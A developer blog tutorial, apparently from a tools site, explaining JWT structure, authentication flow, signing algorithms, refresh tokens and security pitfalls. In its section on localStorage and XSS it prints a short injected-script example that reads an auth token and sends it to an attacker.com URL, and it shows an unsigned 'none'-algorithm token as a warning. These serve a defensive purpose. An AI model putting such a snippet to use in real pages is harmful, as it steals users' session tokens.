Understanding JWT Tokens: A Complete Guide for Developers
Iโll never forget the first time I had to debug a JWT authentication issue in production. Our mobile app stopped working after a backend deployment, and I stared at a 200-character string of gibberish trying to figure out what went wrong. Turns out, the token expiration had been set to negative 23 hours (yeah, really).
That debugging nightmare taught me something important: understanding JWTs isnโt optional if youโre building modern web applications. So let me save you from making the same mistakes I did.
What Actually Is a JWT?
Skip the textbook definition. Hereโs what you need to know: A JWT (JSON Web Token) is basically a secure way to pass information between systems. Think of it like a tamper-proof note that says โHey, this user is legit, and hereโs their info.โ
Unlike old-school sessions where the server remembers who you are, JWTs are stateless. The token itself contains all the info needed to verify itโs authentic. No database lookups required.
Common uses:
- API authentication: โYes, this request is from a logged-in userโ
- Single Sign-On (SSO): Log in once, access multiple services
- Information exchange: Securely transmit data between services
JWT Structure: Three Parts, One Token
A JWT looks like this:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
See those two dots? They separate three Base64-encoded parts:
Header.Payload.Signature
Letโs break down each part.
1. Header: Token Metadata
When you decode the Base64, the header looks like:
{
"alg": "HS256",
"typ": "JWT"
}
alg: The signing algorithm (more on this later)typ: Token type (always โJWTโ)
Nothing sensitive here. Itโs just metadata telling the system how to process the token.
2. Payload: The Actual Data
This is where things get interesting. The payload contains โclaimsโโstatements about the user and additional metadata:
{
"sub": "1234567890",
"name": "John Doe",
"email": "[email protected]",
"roles": ["admin", "editor"],
"iat": 1516239022,
"exp": 1516242622
}
Standard claims youโll see everywhere:
sub(subject): User ID or identifieriat(issued at): When the token was created (Unix timestamp)exp(expiration): When the token expiresiss(issuer): Who created the tokenaud(audience): Who the token is intended for
Custom claims: You can add anything you need: user roles, permissions, preferences, whatever. Just remember: anyone can decode this and read it (more on security later).
3. Signature: The Security Bit
This is what prevents tampering. The signature is created by:
- Taking the encoded header + encoded payload
- Hashing them with a secret key
- Encoding the result
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
your-secret-key
)
If someone modifies the payload even slightly, the signature wonโt match. The token is rejected. Simple and effective.
Want to see this in action? Paste any JWT into our JWT debugger and youโll instantly see all three parts decoded.
How JWT Authentication Works (The Real Flow)
Hereโs what actually happens when you log in to an app using JWTs:
- Login: You submit username/password
- Server validates: Checks credentials against database
- Token generation: Server creates a JWT with your user info
- Client stores token: Usually in localStorage or a cookie
- Future requests: Client sends token in the
Authorizationheader - Server validates token: Checks signature and expiration
- Access granted: If valid, request proceeds
Example API call with JWT:
const token = localStorage.getItem('authToken');
const response = await fetch('/api/protected-resource', {
headers: {
'Authorization': `Bearer ${token}`
}
});
That Bearer prefix is just a convention meaning โthis is a token-based auth.โ
JWTs vs. Traditional Sessions: The Real Differences
Iโve built systems both ways. Hereโs the honest breakdown:
Traditional Sessions
How they work: Server stores session data, client gets a session ID cookie.
Pros:
- Server has full control (easy to revoke access)
- Session data stays on server (more secure)
- Smaller cookie size
Cons:
- Requires server-side storage (Redis, database, etc.)
- Doesnโt scale horizontally easily (need sticky sessions)
- More complex in microservices
JWTs
How they work: All data is in the token, server just validates the signature.
Pros:
- Stateless (no server storage needed)
- Scales horizontally without issue
- Works great in microservices
- Cross-domain friendly
Cons:
- Canโt easily revoke tokens (theyโre valid until expiration)
- Token size can get large
- Payload is visible (must use HTTPS)
My take: For APIs and microservices, JWTs are usually better. For traditional web apps with server-side rendering, sessions often make more sense.
Security Best Practices (Learn From My Mistakes)
1. Always Use HTTPS. Always.
JWTs are Base64-encoded, NOT encrypted. Anyone who intercepts a token can decode it and read everything inside. I once saw someone transmit JWTs over HTTP. Bad idea. Very bad.
// This is readable by ANYONE who intercepts it
const payload = JSON.parse(atob(token.split('.')[1]));
console.log(payload); // See everything
Rule: If youโre not using HTTPS, donโt use JWTs.
2. Keep Tokens Short-Lived
Long-lived tokens are security risks. If someone steals a token thatโs valid for 30 days, you have a problem.
Recommended approach:
// Short-lived access token (15 minutes)
const accessToken = jwt.sign(payload, secret, { expiresIn: '15m' });
// Longer-lived refresh token (7 days)
const refreshToken = jwt.sign(payload, refreshSecret, { expiresIn: '7d' });
When the access token expires, use the refresh token to get a new one. If the refresh token is compromised, at worst the attacker has 7 days, not 30.
3. Never Store Sensitive Data in Tokens
Remember: anyone can decode a JWT. Donโt be this developer:
// DON'T DO THIS
const token = jwt.sign({
userId: user.id,
password: user.password, // Never!
creditCard: user.creditCard, // Absolutely not!
ssn: user.ssn // Are you kidding me?
}, secret);
Safe data to include:
- User ID
- Email address
- Roles/permissions
- Non-sensitive preferences
Never include:
- Passwords (even hashed ones)
- Credit card info
- Social Security Numbers
- API keys or secrets
4. Validate Everything
Donโt just decode the token. Actually verify it:
// WRONG - just decoding without verification
const decoded = JSON.parse(atob(token.split('.')[1]));
// RIGHT - verify signature and claims
const decoded = jwt.verify(token, secret);
// Even better - verify all claims
if (decoded.exp < Date.now() / 1000) {
throw new Error('Token expired');
}
if (decoded.iss !== 'your-app-name') {
throw new Error('Invalid issuer');
}
I debug JWTs constantly using our JWT debugger, but in production code, always use proper verification.
5. Use Strong Secrets
Your JWT secret is what keeps tokens secure. Treat it like a password.
// Terrible
const secret = 'secret';
// Better
const secret = process.env.JWT_SECRET;
// That environment variable should be something like:
// "8f4d9c2e7a1b6f3e8d9c4a7b2e6f3a8d9c1e4b7a2f6d3c8e9b4a7f2d6e3c8a"
Generate secrets with a password generator and make them long (at least 32 characters).
6. Consider Token Blacklisting
JWTs canโt be revoked easily, but you can maintain a blacklist:
// In-memory blacklist (use Redis in production)
const revokedTokens = new Set();
function revokeToken(token) {
revokedTokens.add(token);
// Also set expiry to match token's exp claim
}
function isTokenRevoked(token) {
return revokedTokens.has(token);
}
// In your auth middleware
if (isTokenRevoked(token)) {
throw new Error('Token has been revoked');
}
This works for critical operations like logout, password reset, or when you detect suspicious activity.
Common JWT Mistakes (Iโve Made Them All)
Mistake 1: Using the โNoneโ Algorithm
Thereโs an algorithm called none that means โdonโt verify the signature.โ Some libraries accept it by default. This is a massive security hole.
// Extremely dangerous - anyone can forge tokens
jwt.sign(payload, null, { algorithm: 'none' });
// Always specify a real algorithm
jwt.sign(payload, secret, { algorithm: 'HS256' });
Fix: Explicitly set allowed algorithms and never include none.
Mistake 2: Storing Tokens in localStorage Without Considering XSS
If your site has an XSS vulnerability, attackers can steal tokens from localStorage:
// If attacker injects this script, your tokens are stolen
const token = localStorage.getItem('authToken');
fetch('https://attacker.com/steal?token=' + token);
Better approach: Use httpOnly cookies when possible. They canโt be accessed by JavaScript:
// Server sets cookie
res.cookie('authToken', token, {
httpOnly: true,
secure: true, // HTTPS only
sameSite: 'strict'
});
Trade-off: Now you need CSRF protection. Security is always about trade-offs.
Mistake 3: Not Checking Token Expiration
Iโve seen code that decodes tokens but doesnโt check if theyโre expired:
// Bad - token could be expired
const decoded = jwt.decode(token);
authenticateUser(decoded.userId);
// Good - verify checks expiration automatically
try {
const decoded = jwt.verify(token, secret);
authenticateUser(decoded.userId);
} catch (err) {
if (err.name === 'TokenExpiredError') {
// Token expired, redirect to login
}
}
Mistake 4: Token Payload Too Large
JWTs are sent with every request. If your payload is huge, youโre wasting bandwidth:
// Bad - 50KB token sent with every request
const token = jwt.sign({
user: entireUserObject,
permissions: allPermissionsWithDescriptions,
preferences: everySetting,
// ... lots more data
}, secret);
// Good - minimal data, fetch more when needed
const token = jwt.sign({
userId: user.id,
role: user.role
}, secret);
Keep tokens under 1-2KB ideally.
HS256 vs RS256: Which Should You Use?
Two common signing algorithms:
HS256 (HMAC + SHA-256)
How it works: Symmetric encryption. Same secret for signing and verifying.
Pros:
- Faster
- Simpler to implement
- Good for single-system authentication
Cons:
- Everyone who verifies tokens needs the secret
- If secret leaks, everything is compromised
Use when: Your API server is the only thing creating and verifying tokens.
RS256 (RSA + SHA-256)
How it works: Asymmetric encryption. Private key signs, public key verifies.
Pros:
- Public key can be shared freely
- More secure for distributed systems
- Private key never leaves the auth server
Cons:
- Slower
- More complex setup
- Larger tokens
Use when: Multiple services need to verify tokens but shouldnโt create them.
I usually start with HS256 and only switch to RS256 if I need distributed verification.
Implementing Refresh Tokens
Short-lived access tokens are great for security, but nobody wants to log in every 15 minutes. Enter refresh tokens:
// Login endpoint
app.post('/login', async (req, res) => {
const user = await validateCredentials(req.body);
// Short-lived access token
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
ACCESS_SECRET,
{ expiresIn: '15m' }
);
// Long-lived refresh token
const refreshToken = jwt.sign(
{ userId: user.id, tokenType: 'refresh' },
REFRESH_SECRET,
{ expiresIn: '7d' }
);
res.json({ accessToken, refreshToken });
});
// Refresh endpoint
app.post('/refresh', async (req, res) => {
const { refreshToken } = req.body;
try {
const decoded = jwt.verify(refreshToken, REFRESH_SECRET);
// Generate new access token
const newAccessToken = jwt.sign(
{ userId: decoded.userId, role: decoded.role },
ACCESS_SECRET,
{ expiresIn: '15m' }
);
res.json({ accessToken: newAccessToken });
} catch (err) {
res.status(401).json({ error: 'Invalid refresh token' });
}
});
Bonus: Rotate refresh tokens on each use for extra security.
Debugging JWTs in Real Life
Hereโs my actual debugging workflow when JWTs arenโt working:
- Copy the token: From browser DevTools, app logs, wherever
- Paste into JWT debugger: Instantly see decoded header and payload
- Check the obvious:
- Is
expin the past? Token expired - Is
isswhat you expect? Wrong issuer - Is
audcorrect? Wrong audience
- Is
- Verify signature: Make sure youโre using the right secret
- Check algorithm: HS256 vs RS256 mismatch is common
Last month, spent an hour debugging why tokens werenโt working between services. Turned out one service was using HS256 and another was expecting RS256. Five minutes with the debugger wouldโve caught it immediately.
Testing JWT Implementations
Hereโs how I test JWT code:
// Test expired token
const expiredToken = jwt.sign(
{ userId: 123 },
secret,
{ expiresIn: '-1h' } // Already expired
);
// Should reject this token
// Test invalid signature
const validToken = jwt.sign({ userId: 123 }, 'secret1');
// Try to verify with different secret
jwt.verify(validToken, 'secret2'); // Should throw error
// Test missing claims
const tokenWithoutExp = jwt.sign(
{ userId: 123 },
secret,
{ noTimestamp: true }
);
// Should handle missing exp gracefully
Always test the failure cases, not just the happy path.
Wrapping Up: The JWT Essentials
Let me hit you with the key points:
Structure: Header.Payload.Signature (all Base64-encoded)
Security:
- Use HTTPS always
- Keep tokens short-lived (15 min access, 7 day refresh)
- Never store sensitive data in payload
- Verify tokens properly (donโt just decode)
- Use strong secrets (32+ characters)
Best practices:
- Implement refresh tokens for better UX
- Consider token blacklisting for critical operations
- Use httpOnly cookies when possible to prevent XSS
- Keep payload small (< 2KB)
- Always validate exp, iss, and aud claims
When to use:
- Stateless APIs
- Microservices
- Mobile apps
- Single Page Applications (SPAs)
When NOT to use:
- Traditional server-rendered apps (sessions work better)
- When you need instant revocation
- When token size is a major concern
JWTs are powerful but not magic. Use them properly and theyโll make your authentication flow smooth. Use them wrong and youโll have security holes bigger than my first production bug.
Want to inspect a JWT right now? Drop it into our JWT debugger and see whatโs inside. Understanding tokens by actually looking at them is way more effective than reading documentation.
Related Resources:
Check out these related articles:
- Complete Guide to Encoding & Decoding for Web Developers - Master Base64 and JWT encoding
- Base64 Encoding Explained: When and Why to Use It
- Top 10 Developer Tools Every Programmer Should Know
- Web Developer Tools Essentials - JWT debugging and security tools
- Getting Started with Regular Expressions
DevUtilHub Tools for Working with JWTs:
- JWT Debugger - Decode and verify JWT tokens instantly
- Base64 Encoder/Decoder - Understand Base64 encoding used in JWTs
- Hash Generator - Create secure signatures and test hashing
- Password Generator - Generate strong secrets for JWT signing
External Resources:
- JWT.io - Official JWT website with libraries and docs
- RFC 7519 - Official JWT specification
- OWASP JWT Cheat Sheet - Security best practices
Tags
Related Articles
Base64 Encoding Explained: When and Why to Use It
Learn Base64 encoding with real-world examples, use cases, and best practices. Understand when to use it, security considerations, and why it's essential for APIs, data URIs, and JWT tokens.
Regular Expressions Mastery: The Complete Guide from Basics to Advanced Patterns
Master regular expressions with this comprehensive guide. Learn regex syntax, pattern matching, validation techniques, and real-world examples for web development.
Complete Guide to Encoding & Decoding for Web Developers
Master encoding and decoding with this comprehensive guide. Learn Base64, URL encoding, HTML entities, JWT tokens, and when to use each format in modern web development.